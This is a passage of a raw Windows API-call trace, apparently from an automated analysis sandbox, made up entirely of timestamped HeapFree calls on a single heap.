HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0273.419] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0273.421] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0273.421] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0273.421] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0273.421] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0273.421] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0273.422] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0273.818] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0273.917] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0273.917] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0273.918] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0273.920] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0273.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0273.953] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0273.957] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0273.957] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0273.957] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0273.957] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0273.959] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0273.960] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0273.960] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0273.960] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0273.960] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0273.991] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0273.992] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0274.033] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.034] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0274.034] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0274.035] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0274.035] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0274.071] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.073] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.095] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0274.095] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0274.096] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0274.096] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0274.098] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0274.121] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0274.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0274.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0274.131] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0274.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0274.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0274.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0274.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0274.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0274.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0274.145] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0274.146] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0274.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0274.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.427] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.427] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.427] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.428] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.428] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.428] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.428] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.519] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.600] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0274.762] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0274.840] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.841] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.843] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.892] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.892] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.929] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.930] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.930] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0274.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0275.130] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.130] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.134] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.134] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0275.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0275.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0275.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.150] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.150] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.150] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.150] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.152] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.152] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.152] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.153] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.153] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.239] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.245] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.246] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.248] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.249] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.249] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.249] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.250] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.273] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.273] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0275.274] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.299] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0275.300] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.302] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.302] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.305] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.305] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.306] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.306] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.306] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.362] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.366] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.414] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.415] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.429] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.429] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.429] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0275.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0275.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0275.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0275.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0275.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0275.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0275.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0275.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0275.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0275.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0275.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0275.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0275.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0275.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0275.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.662] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.662] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.662] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.675] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.708] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0275.710] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0275.711] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.711] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.711] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0275.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0275.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0275.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0275.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0275.933] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.018] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0276.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0276.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.022] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0276.022] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.025] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.025] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.025] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.027] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0276.027] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.027] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.027] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0276.029] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0276.029] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3220070 | out: hHeap=0x630000) returned 1 [0276.029] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.029] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.030] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.030] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0276.030] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0276.030] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0276.030] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0276.030] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0276.030] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0276.030] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.030] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0276.032] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.034] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.034] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.035] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.041] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.041] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0276.131] 